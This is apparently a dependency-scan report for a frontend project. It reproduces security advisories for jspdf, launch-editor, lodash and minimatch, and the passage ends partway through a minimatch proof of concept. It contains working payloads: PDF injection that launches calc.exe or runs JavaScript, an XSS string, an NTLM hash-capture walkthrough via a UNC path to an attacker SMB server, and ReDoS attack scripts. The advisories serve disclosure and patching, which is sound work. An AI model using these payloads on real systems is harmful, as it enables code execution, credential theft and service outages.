* `"pdfjsnewwindow"`: the `pdfJsUrl` and `filename` options
* `"dataurlnewwindow"`: the `filename` option

The vulnerability can be exploited in the following scenario: the attacker provides values for the output options, for example via a web interface. These values are then passed unsanitized (automatically or semi-automatically) to the attack victim. The victim creates and opens a PDF with the attack vector using one of the vulnerable method overloads inside their browser. The attacker can thus inject scripts that run in the victims browser context and can extract or modify secrets from this context.

Example attack vector:

```js
import { jsPDF } from 'jspdf';
const doc = new jsPDF();

const payload =  'x\"></iframe><script>window.__n=1</script><iframe src="';

doc.output('pdfjsnewwindow', {
  filename: payload,
  pdfJsUrl: 'viewer.html'
});
```

### Patches
The vulnerability has been fixed in jspdf@4.2.1.

### Workarounds
Sanitize user input before passing it to the output method.
CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

CVSSv3:
  • Base Score: CRITICAL (9.600000381469727)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:L
Unscored:
  • Severity: critical

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:jspdf:\<\=4.2.0:*:*:*:*:*:*:*

GHSA-7x6v-j9x4-qf24 (NPM)  

### Impact

User control of arguments of the `createAnnotation` method allows users to inject arbitrary PDF objects, such as JavaScript actions.

If given the possibility to pass unsanitized input to the following method, a user can inject arbitrary PDF objects, such as JavaScript actions, which might trigger when the PDF is opened or interacted with..

* `createAnnotation`: `color` parameter

Example attack vector:

```js
import { jsPDF } from 'jspdf'

const doc = new jsPDF();

const payload = '000000) /AA <</E <</S /Launch /F (calc.exe)>>>> (';

doc.createAnnotation({
  type: 'freetext',
  bounds: { x: 10, y: 10, w: 120, h: 20 },
  contents: 'hello',
  color: payload
});

doc.save('test.pdf');
```

### Patches

The vulnerability has been fixed in jsPDF@4.2.1.

### Workarounds
Sanitize user input before passing it to the vulnerable API members.
CWE-116 Improper Encoding or Escaping of Output

CVSSv3:
  • Base Score: HIGH (8.100000381469727)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
Unscored:
  • Severity: high

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:jspdf:\<\=4.2.0:*:*:*:*:*:*:*

GHSA-9vjf-qc39-jprp (NPM)  

### Impact

User control of the argument of the `addJS` method allows an attacker to inject arbitrary PDF objects into the generated document. By crafting a payload that escapes the JavaScript string delimiter, an attacker can execute malicious actions or alter the document structure, impacting any user who opens the generated PDF.

```js
import { jsPDF } from "jspdf";
const doc = new jsPDF();
// Payload:
// 1. ) closes the JS string.
// 2. > closes the current dictionary.
// 3. /AA ... injects an "Additional Action" that executes on focus/open.
const maliciousPayload = "console.log('test');) >> /AA << /O << /S /JavaScript /JS (app.alert('Hacked!')) >> >>";

doc.addJS(maliciousPayload);
doc.save("vulnerable.pdf");
```

### Patches
The vulnerability has been fixed in jspdf@4.2.0.

### Workarounds
Escape parentheses in user-provided JavaScript code before passing them to the `addJS` method.
### References
https://github.com/ZeroXJacks/CVEs/blob/main/2026/CVE-2026-25755.md
CWE-116 Improper Encoding or Escaping of Output, CWE-94 Improper Control of Generation of Code ('Code Injection')

CVSSv3:
  • Base Score: HIGH (8.100000381469727)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
Unscored:
  • Severity: high

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:jspdf:\<4.2.0:*:*:*:*:*:*:*

GHSA-p5xg-68wr-hm3m (NPM)  

### Impact

User control of properties and methods of the Acroform module allows users to inject arbitrary PDF objects, such as JavaScript actions.

If given the possibility to pass unsanitized input to the following property, a user can inject arbitrary PDF objects, such as JavaScript actions, which are executed when the victim hovers over the radio option.

* `AcroformChildClass.appearanceState`

Example attack vector:

```js
import { jsPDF } from "jspdf"
const doc = new jsPDF();

const group = new doc.AcroFormRadioButton();
group.x = 10; group.y = 10; group.width = 20; group.height = 10;
doc.addField(group);

const child = group.createOption("opt1");
child.x = 10; child.y = 10; child.width = 20; child.height = 10;
child.appearanceState = "Off /AA << /E << /S /JavaScript /JS (app.alert('XSS')) >> >>";

doc.save("test.pdf");
```

### Patches

The vulnerability has been fixed in jsPDF@4.2.0.

### Workarounds
Sanitize user input before passing it to the vulnerable API members.
CWE-116 Improper Encoding or Escaping of Output

CVSSv3:
  • Base Score: HIGH (8.100000381469727)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
Unscored:
  • Severity: high

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:jspdf:\<4.2.0:*:*:*:*:*:*:*

GHSA-pqxr-3g65-p328 (NPM)  

### Impact

User control of properties and methods of the Acroform module allows users to inject arbitrary PDF objects, such as JavaScript actions.

If given the possibility to pass unsanitized input to one of the following methods or properties, a user can inject arbitrary PDF objects, such as JavaScript actions, which are executed when the victim opens the document. The vulnerable API members are:

* `AcroformChoiceField.addOption`
* `AcroformChoiceField.setOptions`
* `AcroFormCheckBox.appearanceState`
* `AcroFormRadioButton.appearanceState`

Example attack vector:

```js
import { jsPDF } from "jspdf"
const doc = new jsPDF();

var choiceField = new doc.AcroFormChoiceField();
choiceField.T = "VulnerableField";
choiceField.x = 20;
choiceField.y = 20;
choiceField.width = 100;
choiceField.height = 20;

// PAYLOAD:
// 1. Starts with "/" to bypass escaping.
// 2. "dummy]" closes the array.
// 3. "/AA" injects an Additional Action (Focus event).
// 4. "/JS" executes arbitrary JavaScript.
const payload = "/dummy] /AA << /Fo << /S /JavaScript /JS (app.alert('XSS')) >> >> /Garbage [";

choiceField.addOption(payload);
doc.addField(choiceField);

doc.save("test.pdf");
```

### Patches

The vulnerability has been fixed in jsPDF@4.1.0.

### Workarounds
Sanitize user input before passing it to the vulnerable API members.

### Credits
Research and fix: Ahmet Artuç
CWE-116 Improper Encoding or Escaping of Output

CVSSv3:
  • Base Score: HIGH (8.100000381469727)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
Unscored:
  • Severity: high

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:jspdf:\<\=4.0.0:*:*:*:*:*:*:*

GHSA-67pg-wm7f-q7fj (NPM)  

### Impact

User control of the first argument of the `addImage` method results in denial of service.

If given the possibility to pass unsanitized image data or URLs to the `addImage` method, a user can provide a harmful GIF file that results in out of memory errors and denial of service. Harmful GIF files have large width and/or height entries in their headers, wich lead to excessive memory allocation.

Other affected methods are: `html`.

Example attack vector:

```js
import { jsPDF } from "jspdf" 

// malicious GIF image data with large width/height headers
const payload = ...

const doc = new jsPDF();

doc.addImage(payload, "GIF", 0, 0, 100, 100);
```

### Patches

The vulnerability has been fixed in jsPDF 4.1.1. Upgrade to jspdf@>=4.2.0.

### Workarounds

Sanitize image data or URLs before passing it to the addImage method or one of the other affected methods.
### References
https://github.com/ZeroXJacks/CVEs/blob/main/2026/CVE-2026-25535.md
CWE-770 Allocation of Resources Without Limits or Throttling

Unscored:
  • Severity: high

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:jspdf:\<4.2.0:*:*:*:*:*:*:*

GHSA-95fx-jjr5-f39c (NPM)  

### Impact

User control of the first argument of the `addImage` method results in Denial of Service.

If given the possibility to pass unsanitized image data or URLs to the `addImage` method, a user can provide a harmful BMP file that results in out of memory errors and denial of service. Harmful BMP files have large width and/or height entries in their headers, wich lead to excessive memory allocation.

Other affected methods are: `html`.

Example attack vector:

```js
import { jsPDF } from "jspdf" 

// malicious BMP image data with large width/height headers
const payload = ...

const doc = new jsPDF();

doc.addImage(payload, "BMP", 0, 0, 100, 100);
```

### Patches

The vulnerability has been fixed in jsPDF 4.1.0. Upgrade to jspdf@>=4.1.0.

### Workarounds

Sanitize image data or URLs before passing it to the addImage method or one of the other affected methods.
CWE-400 Uncontrolled Resource Consumption, CWE-20 Improper Input Validation, CWE-770 Allocation of Resources Without Limits or Throttling

Unscored:
  • Severity: high

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:jspdf:\<\=4.0.0:*:*:*:*:*:*:*

GHSA-cjw8-79x6-5cj4 (NPM)  

### Impact

The addJS method in the jspdf Node.js build utilizes a shared module-scoped variable (text) to store JavaScript content. When used in a concurrent environment (e.g., a Node.js web server), this variable is shared across all requests.

If multiple requests generate PDFs simultaneously, the JavaScript content intended for one user may be overwritten by a subsequent request before the document is generated. This results in Cross-User Data Leakage, where the PDF generated for User A contains the JavaScript payload (and any embedded sensitive data) intended for User B.

Typically, this only affects server-side environments, although the same race conditions might occur if jsPDF runs client-side.

```js
import { jsPDF } from "jspdf";

const docA = new jsPDF();
const docB = new jsPDF();

// 1. User A sets their script (stored in shared 'text' variable)
docA.addJS('console.log("Secret A");');

// 2. User B sets their script (overwrites shared 'text' variable)
docB.addJS('console.log("Secret B");');

// 3. User A saves their PDF (reads current 'text' variable)
docA.save("userA.pdf");

// Result: userA.pdf contains "Secret B" instead of "Secret A"
```

### Patches
The vulnerability has been fixed in jspdf@4.0.1. The fix moves the shared variable into the function scope, ensuring isolation between instances.

### Workarounds
Avoid using the addJS method in concurrent server-side environments. If usage is required, ensure requests are processed sequentially (e.g., using a queue) rather than in parallel.
CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition'), CWE-200 Exposure of Sensitive Information to an Unauthorized Actor

Unscored:
  • Severity: moderate

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:jspdf:\<\=4.0.0:*:*:*:*:*:*:*

GHSA-vm32-vv63-w422 (NPM)  

### Impact

User control of the first argument of the `addMetadata` function allows users to inject arbitrary XML.

If given the possibility to pass unsanitized input to the `addMetadata` method, a user can inject arbitrary XMP metadata into the generated PDF. If the generated PDF is signed, stored or otherwise processed after, the integrity of the PDF can no longer be guaranteed.

Example attack vector:

```js
import { jsPDF } from "jspdf"

const doc = new jsPDF()

// Input a string that closes the current XML tag and opens a new one.
// We are injecting a fake "dc:creator" (Author) to spoof the document source.
const maliciousInput = '</jspdf:metadata></rdf:Description>' +
    '<rdf:Description xmlns:dc="http://purl.org/dc/elements/1.1/">' +
    '<dc:creator>TRUSTED_ADMINISTRATOR</dc:creator>' + // <--- Spoofed Identity
    '</rdf:Description>' +
    '<rdf:Description><jspdf:metadata>'

// The application innocently adds the user's input to the metadata
doc.addMetadata(maliciousInput, "http://valid.namespace")

doc.save("test.pdf")
```

### Patches

The vulnerability has been fixed in jsPDF@4.1.0

### Workarounds

Sanitize user input before passing it to the `addMetadata` method: escape XML entities. For example:

```js
let input = "..."

input = input
    .replace(/&/g, "&amp;")
    .replace(/</g, "&lt;")
    .replace(/>/g, "&gt;")
    .replace(/"/g, "&quot;")
    .replace(/'/g, "&apos;")

doc.addMetadata(input)
```
CWE-20 Improper Input Validation, CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')

Unscored:
  • Severity: moderate

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:jspdf:\<\=4.0.0:*:*:*:*:*:*:*

karma.conf.js

File Path: /builds/pub/numeco/misis/misis-frontend/karma.conf.js
MD5: 0252269cf0d9f0811a1c470e800e2126
SHA1: a8499b99e58cb892900ba688441310f193138f11
SHA256:f02aa533841dbb98cbe4b7803b454f40a6ec1cbc22688b6468b511f98470e1a7

Identifiers

  • None

launch-editor:2.12.0

File Path: /builds/pub/numeco/misis/misis-frontend/package-lock.json?launch-editor

Referenced In Project/Scope: package-lock.json: transitive

Identifiers

  • pkg:npm/launch-editor@2.12.0  (Confidence:Highest)

GHSA-v6wh-96g9-6wx3 (NPM)  

### Summary
The `launch-editor` NPM package accesses arbitrary paths including Windows UNC paths. When a UNC path is opened, Windows automatically attempts NTLM authentication to the remote host, causing the user’s NTLMv2 password hash to be leaked to an attacker-controlled SMB server. This can result in credential compromise through offline hash cracking.

### Impact

If the following conditions are met, an attacker can get the NTLMv2 password hash on the computer that is using the `launch-editor`:

- using Windows
- NTLM is not disabled ([it is recommended to disable](https://techcommunity.microsoft.com/blog/windows-itpro-blog/advancing-windows-security-disabling-ntlm-by-default/4489526), while it's still enabled by default)
- the user accesses the attackers website that sends request to a middleware using `launch-editor`
- the server that has the middleware using `launch-editor` is running
- the attacker knows the URL for that server and the middleware

This would be a problem if the user password is too simple that it can be identified through offline hash cracking, potentially leading to further compromise of developer accounts or internal systems.

### Details
`launch-editor` accepts file paths without validating or restricting Windows UNC paths such as:

```
\\attacker-host\share
```

On Windows systems, accessing a UNC path triggers an automatic NTLM authentication attempt to the remote SMB server. No user interaction or warning is required for this authentication attempt to occur.

If an attacker controls the SMB server referenced by the UNC path the victim’s NTLMv2 hash is transmitted to the attacker. The attacker can then capture the hash and perform offline password cracking. Successful cracking reveals the victim’s cleartext password.

The attacker could target a developer that uses a development server using `launch-editor` to develop code locally, send them a link and grab their NTLMv2 hash.

### PoC
From the attacker side, we will setup an SMB server. I personally used [Impacket's smbserver.py](https://github.com/fortra/impacket/blob/master/examples/smbserver.py), but you could use something like [Responder](https://github.com/lgandx/Responder) for this as well. For keeping it simple, we will use `smbserver.py` here.

First, let's create a directory to serve as an SMB share.
```
mkdir /tmp/data
echo "Hello world" > /tmp/data/test.txt
```

Then, start the SMB server.
```
$ sudo smbserver.py -smb2support -debug share /tmp/data
```

Now, run any project that uses the launch-editor package. I have setup a simple "Hello world" project that uses Vite to do this. Then run the project locally (`vite`).

Now last, we will open a browser window and navigate to the URL used by the launch-editor package to trigger the NTLM authentication. Or we can use `curl` to achieve the same.

```
curl 'http://localhost:5173/__open-in-editor?file=%5c%5c127.0.0.1%5cshare%5ctest.txt'
```

Note the IP address in the HTTP request, and make sure it connects to the IP address of the SMB server. Now we can look at the logs of `smbserver.py` and see the NTLMv2 hash coming in.

<img width="1916" height="277" alt="2026-01-30_10-58" src="https://github.com/user-attachments/assets/2f606e8f-c9bb-41dc-b507-ea6606b53368" />
CWE-522 Insufficiently Protected Credentials, CWE-73 External Control of File Name or Path

Unscored:
  • Severity: moderate

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:launch-editor:\<\=2.14.0:*:*:*:*:*:*:*

lodash-es:4.17.23

File Path: /builds/pub/numeco/misis/misis-frontend/package-lock.json?lodash-es

Referenced In Project/Scope: package-lock.json: transitive

Identifiers

  • pkg:npm/lodash-es@4.17.23  (Confidence:Highest)

GHSA-r5fr-rjxr-66jc (NPM)  

### Impact

The fix for [CVE-2021-23337](https://github.com/advisories/GHSA-35jh-r3h4-6jhm) added validation for the `variable` option in `_.template` but did not apply the same validation to `options.imports` key names. Both paths flow into the same `Function()` constructor sink.

When an application passes untrusted input as `options.imports` key names, an attacker can inject default-parameter expressions that execute arbitrary code at template compilation time.

Additionally, `_.template` uses `assignInWith` to merge imports, which enumerates inherited properties via `for..in`. If `Object.prototype` has been polluted by any other vector, the polluted keys are copied into the imports object and passed to `Function()`.

### Patches

Users should upgrade to version 4.18.0.

The fix applies two changes:
1. Validate `importsKeys` against the existing `reForbiddenIdentifierChars` regex (same check already used for the `variable` option)
2. Replace `assignInWith` with `assignWith` when merging imports, so only own properties are enumerated

### Workarounds

Do not pass untrusted input as key names in `options.imports`. Only use developer-controlled, static key names.
CWE-94 Improper Control of Generation of Code ('Code Injection')

CVSSv3:
  • Base Score: HIGH (8.100000381469727)
  • Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Unscored:
  • Severity: high

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:lodash-es:\>\=4.0.0\<\=4.17.23:*:*:*:*:*:*:*

GHSA-f23m-r3pf-42rh (NPM)  

### Impact

Lodash versions 4.17.23 and earlier are vulnerable to prototype pollution in the `_.unset` and `_.omit` functions. The fix for [CVE-2025-13465](https://github.com/lodash/lodash/security/advisories/GHSA-xxjr-mmjv-4gpg) only guards against string key members, so an attacker can bypass the check by passing array-wrapped path segments. This allows deletion of properties from built-in prototypes such as `Object.prototype`, `Number.prototype`, and `String.prototype`.

The issue permits deletion of prototype properties but does not allow overwriting their original behavior.

### Patches

This issue is patched in 4.18.0.

### Workarounds

None. Upgrade to the patched version.
CWE-1321 Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')

CVSSv3:
  • Base Score: MEDIUM (6.5)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
Unscored:
  • Severity: moderate

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:lodash-es:\<\=4.17.23:*:*:*:*:*:*:*

lodash:4.17.23

File Path: /builds/pub/numeco/misis/misis-frontend/package-lock.json?lodash

Referenced In Project/Scope: package-lock.json: transitive

Identifiers

  • pkg:npm/lodash@4.17.23  (Confidence:Highest)

GHSA-r5fr-rjxr-66jc (NPM)  

### Impact

The fix for [CVE-2021-23337](https://github.com/advisories/GHSA-35jh-r3h4-6jhm) added validation for the `variable` option in `_.template` but did not apply the same validation to `options.imports` key names. Both paths flow into the same `Function()` constructor sink.

When an application passes untrusted input as `options.imports` key names, an attacker can inject default-parameter expressions that execute arbitrary code at template compilation time.

Additionally, `_.template` uses `assignInWith` to merge imports, which enumerates inherited properties via `for..in`. If `Object.prototype` has been polluted by any other vector, the polluted keys are copied into the imports object and passed to `Function()`.

### Patches

Users should upgrade to version 4.18.0.

The fix applies two changes:
1. Validate `importsKeys` against the existing `reForbiddenIdentifierChars` regex (same check already used for the `variable` option)
2. Replace `assignInWith` with `assignWith` when merging imports, so only own properties are enumerated

### Workarounds

Do not pass untrusted input as key names in `options.imports`. Only use developer-controlled, static key names.
CWE-94 Improper Control of Generation of Code ('Code Injection')

CVSSv3:
  • Base Score: HIGH (8.100000381469727)
  • Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Unscored:
  • Severity: high

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:lodash:\>\=4.0.0\<\=4.17.23:*:*:*:*:*:*:*

GHSA-f23m-r3pf-42rh (NPM)  

### Impact

Lodash versions 4.17.23 and earlier are vulnerable to prototype pollution in the `_.unset` and `_.omit` functions. The fix for [CVE-2025-13465](https://github.com/lodash/lodash/security/advisories/GHSA-xxjr-mmjv-4gpg) only guards against string key members, so an attacker can bypass the check by passing array-wrapped path segments. This allows deletion of properties from built-in prototypes such as `Object.prototype`, `Number.prototype`, and `String.prototype`.

The issue permits deletion of prototype properties but does not allow overwriting their original behavior.

### Patches

This issue is patched in 4.18.0.

### Workarounds

None. Upgrade to the patched version.
CWE-1321 Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')

CVSSv3:
  • Base Score: MEDIUM (6.5)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
Unscored:
  • Severity: moderate

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:lodash:\<\=4.17.23:*:*:*:*:*:*:*

main-MG3FT3W7.js

File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/main-MG3FT3W7.js
MD5: 222fa9cf35c9fd750681b40011746c6e
SHA1: 1e3088345887b2241e10bd3d5e3b1f22587455fa
SHA256:2cd19c6587fb83477d9aed9a5eb15b4f82d611ca1d55649d5a9f13dcdd3c6ac2

Identifiers

  • None

minimatch:9.0.5

File Path: /builds/pub/numeco/misis/misis-frontend/package-lock.json?minimatch

Referenced In Project/Scope: package-lock.json: transitive

Identifiers

  • pkg:npm/minimatch@9.0.5  (Confidence:Highest)

GHSA-23c5-xmqv-rm74 (NPM)  

### Summary

Nested `*()` extglobs produce regexps with nested unbounded quantifiers (e.g. `(?:(?:a|b)*)*`), which exhibit catastrophic backtracking in V8. With a 12-byte pattern `*(*(*(a|b)))` and an 18-byte non-matching input, `minimatch()` stalls for over 7 seconds. Adding a single nesting level or a few input characters pushes this to minutes. This is the most severe finding: it is triggered by the default `minimatch()` API with no special options, and the minimum viable pattern is only 12 bytes. The same issue affects `+()` extglobs equally.

---

### Details

The root cause is in `AST.toRegExpSource()` at [`src/ast.ts#L598`](https://github.com/isaacs/minimatch/blob/v10.2.2/src/ast.ts#L598). For the `*` extglob type, the close token emitted is `)*` or `)?`, wrapping the recursive body in `(?:...)*`. When extglobs are nested, each level adds another `*` quantifier around the previous group:

```typescript
: this.type === '*' && bodyDotAllowed ? `)?`
: `)${this.type}`
```

This produces the following regexps:

| Pattern              | Generated regex                          |
|----------------------|------------------------------------------|
| `*(a\|b)`            | `/^(?:a\|b)*$/`                          |
| `*(*(a\|b))`         | `/^(?:(?:a\|b)*)*$/`                     |
| `*(*(*(a\|b)))`      | `/^(?:(?:(?:a\|b)*)*)*$/`               |
| `*(*(*(*(a\|b))))` | `/^(?:(?:(?:(?:a\|b)*)*)*)*$/`          |

These are textbook nested-quantifier patterns. Against an input of repeated `a` characters followed by a non-matching character `z`, V8's backtracking engine explores an exponential number of paths before returning `false`.

The generated regex is stored on `this.set` and evaluated inside `matchOne()` at [`src/index.ts#L1010`](https://github.com/isaacs/minimatch/blob/v10.2.2/src/index.ts#L1010) via `p.test(f)`. It is reached through the standard `minimatch()` call with no configuration.

Measured times via `minimatch()`:

| Pattern              | Input              | Time       |
|----------------------|--------------------|------------|
| `*(*(a\|b))`         | `a` x30 + `z`      | ~68,000ms  |
| `*(*(*(a\|b)))`      | `a` x20 + `z`      | ~124,000ms |
| `*(*(*(*(a\|b))))` | `a` x25 + `z`      | ~116,000ms |
| `*(a\|a)`            | `a` x25 + `z`      | ~2,000ms   |

Depth inflection at fixed input `a` x16 + `z`:

| Depth | Pattern              | Time         |
|-------|----------------------|--------------|
| 1     | `*(a\|b)`            | 0ms          |
| 2     | `*(*(a\|b))`         | 4ms          |
| 3     | `*(*(*(a\|b)))`      | 270ms        |
| 4     | `*(*(*(*(a\|b))))` | 115,000ms    |

Going from depth 2 to depth 3 with a 20-character input jumps from 66ms to 123,544ms -- a 1,867x increase from a single added nesting level.

---

### PoC

Tested on minimatch@10.2.2, Node.js 20.

**Step 1 -- verify the generated regexps and timing (standalone script)**

Save as `poc4-validate.mjs` and run with `node poc4-validate.mjs`:

```javascript
import { minimatch, Minimatch } from 'minimatch'

function timed(fn) {
  const s = process.hrtime.bigint()
  let result, error
  try { result = fn() } catch(e) { error = e }
  const ms = Number(process.hrtime.bigint() - s) / 1e6
  return { ms, result, error }
}

// Verify generated regexps
for (let depth = 1; depth <= 4; depth++) {
  let pat = 'a|b'
  for (let i = 0; i < depth; i++) pat = `*(${pat})`
  const re = new Minimatch(pat, {}).set?.[0]?.[0]?.toString()
  console.log(`depth=${depth} "${pat}" -> ${re}`)
}
// depth=1 "*(a|b)"          -> /^(?:a|b)*$/
// depth=2 "*(*(a|b))"       -> /^(?:(?:a|b)*)*$/
// depth=3 "*(*(*(a|b)))"    -> /^(?:(?:(?:a|b)*)*)*$/
// depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/

// Safe-length timing (exponential growth confirmation without multi-minute hang)
const cases = [
  ['*(*(*(a|b)))', 15],   // ~270ms
  ['*(*(*(a|b)))', 17],   // ~800ms
  ['*(*(*(a|b)))', 19],   // ~2400ms
  ['*(*(a|b))',    23],   // ~260ms
  ['*(a|b)',      101],   // <5ms (depth=1 control)
]
for (const [pat, n] of cases) {
  const t = timed(() => minimatch('a'.repeat(n) + 'z', pat))
  console.log(`"${pat}" n=${n}: ${t.ms.toFixed(0)}ms result=${t.result}`)
}

// Confirm noext disables the vulnerability
const t_noext = timed(() => minimatch('a'.repeat(18) + 'z', '*(*(*(a|b)))', { noext: true }))
console.log(`noext=true: ${t_noext.ms.toFixed(0)}ms (should be ~0ms)`)

// +() is equally affected
const t_plus = timed(() => minimatch('a'.repeat(17) + 'z', '+(+(+(a|b)))'))
console.log(`"+(+(+(a|b)))" n=18: ${t_plus.ms.toFixed(0)}ms result=${t_plus.result}`)
```

Observed output:
```
depth=1 "*(a|b)"          -> /^(?:a|b)*$/
depth=2 "*(*(a|b))"       -> /^(?:(?:a|b)*)*$/
depth=3 "*(*(*(a|b)))"    -> /^(?:(?:(?:a|b)*)*)*$/
depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/
"*(*(*(a|b)))" n=15: 269ms result=false
"*(*(*(a|b)))" n=17: 268ms result=false
"*(*(*(a|b)))" n=19: 2408ms result=false
"*(*(a|b))"    n=23: 257ms result=false
"*(a|b)"       n=101: 0ms result=false
noext=true: 0ms (should be ~0ms)
"+(+(+(a|b)))" n=18: 6300ms result=false
```

**Step 2 -- HTTP server (event loop starvation proof)**

Save as `poc4-server.mjs`:

```javascript
import http from 'node:http'
import { URL } from 'node:url'
import { minimatch } from 'minimatch'

const PORT = 3001
http.createServer((req, res) => {
  const url     = new URL(req.url, `http://localhost:${PORT}`)
  const pattern = url.searchParams.get('pattern') ?? ''
  const path    = url.searchParams.get('path') ?? ''

  const start  = process.hrtime.bigint()
  const result = minimatch(path, pattern)
  const ms     = Number(process.hrtime.bigint() - start) / 1e6

  console.log(`[${new Date().toISOString()}] ${ms.toFixed(0)}ms pattern="${pattern}" path="${path.slice(0,30)}"`)
  res.writeHead(200, { 'Content-Type': 'application/json' })
  res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n')
}).listen(PORT, () => console.log(`listening on ${PORT}`))
```

Terminal 1 -- start the server:
```
node poc4-server.mjs
```

Terminal 2 -- fire the attack (depth=3, 19 a's + z) and return immediately:
```
curl "http://localhost:3001/match?pattern=*%28*%28*%28a%7Cb%29%29%29&path=aaaaaaaaaaaaaaaaaaaz" &
```

Terminal 3 -- send a benign request while the attack is in-flight:
```
curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3001/match?pattern=*%28a%7Cb%29&path=aaaz"
```

**Observed output -- Terminal 2 (attack):**
```
{"result":false,"ms":"64149"}
```

**Observed output -- Terminal 3 (benign, concurrent):**
```
{"result":false,"ms":"0"}

time_total: 63.022047s
```

**Terminal 1 (server log):**
```
[2026-02-20T09:41:17.624Z] pattern="*(*(*(a|b)))" path="aaaaaaaaaaaaaaaaaaaz"
[2026-02-20T09:42:21.775Z] done in 64149ms result=false
[2026-02-20T09:42:21.779Z] pattern="*(a|b)" path="aaaz"
[2026-02-20T09:42:21.779Z] done in 0ms result=false
```

The server reports `"ms":"0"` for the benign request -- the legitimate request itself requires no CPU time. The entire 63-second `time_total` is time spent waiting for the event loop to be released. The benign request was only dispatched after the attack completed, confirmed by the server log timestamps.

Note: standalone script timing (~7s at n=19) is lower than server timing (64s) because the standalone script had warmed up V8's JIT through earlier sequential calls. A cold server hits the worst case. Both measurements confirm catastrophic backtracking -- the server result is the more realistic figure for production impact.

---

### Impact

Any context where an attacker can influence the glob pattern passed to `minimatch()` is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments, multi-tenant platforms where users configure glob-based rules (file filters, ignore lists, include patterns), and CI/CD pipelines that evaluate user-submitted config files containing glob expressions. No evidence was found of production HTTP servers passing raw user input directly as the extglob pattern, so that framing is not claimed here.

Depth 3 (`*(*(*(a|b)))`, 12 bytes) stalls the Node.js event loop for 7+ seconds with an 18-character input. Depth 2 (`*(*(a|b))`, 9 bytes) reaches 68 seconds with a 31-character input. Both the pattern and the input fit in a query string or JSON body without triggering the 64 KB length guard.

`+()` extglobs share the same code path and produce equivalent worst-case behavior (6.3 seconds at depth=3 with an 18-character input, confirmed).

**Mitigation available:** passing `{ noext: true }` to `minimatch()` disables extglob processing entirely and reduces the same input to 0ms. Applications that do not need extglob syntax should set this option when handling untrusted patterns.
CWE-1333 Inefficient Regular Expression Complexity

CVSSv3:
  • Base Score: HIGH (7.5)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Unscored:
  • Severity: high

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:minimatch:\>\=9.0.0\<9.0.7:*:*:*:*:*:*:*

GHSA-7r86-cg39-jmmj (NPM)  

### Summary

`matchOne()` performs unbounded recursive backtracking when a glob pattern contains multiple non-adjacent `**` (GLOBSTAR) segments and the input path does not match. The time complexity is O(C(n, k)) -- binomial -- where `n` is the number of path segments and `k` is the number of globstars. With k=11 and n=30, a call to the default `minimatch()` API stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No memoization or call budget exists to bound this behavior.

---

### Details

The vulnerable loop is in `matchOne()` at [`src/index.ts#L960`](https://github.com/isaacs/minimatch/blob/v10.2.2/src/index.ts#L960):

```typescript
while (fr < fl) {
  ..
  if (this.matchOne(file.slice(fr), pattern.slice(pr), partial)) {
    ..
    return true
  }
  ..
  fr++
}
```

When a GLOBSTAR is encountered, the function tries to match the remaining pattern against every suffix of the remaining file segments. Each `**` multiplies the number of recursive calls by the number of remaining segments. With k non-adjacent globstars and n file segments, the total number of calls is C(n, k).

There is no depth counter, visited-state cache, or budget limit applied to this recursion. The call tree is fully explored before returning `false` on a non-matching input.

Measured timing with n=30 path segments:

| k (globstars) | Pattern size | Time     |
|---------------|--------------|----------|
| 7             | 36 bytes     | ~154ms   |
| 9             | 46 bytes     | ~1.2s    |
| 11            | 56 bytes     | ~5.4s    |
| 12            | 61 bytes     | ~9.7s    |
| 13            | 66 bytes     | ~15.9s   |

---

### PoC

Tested on minimatch@10.2.2, Node.js 20.

**Step 1 -- inline script**

```javascript
import { minimatch } from 'minimatch'

// k=9 globstars, n=30 path segments
// pattern: 46 bytes, default options
const pattern = '**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/b'
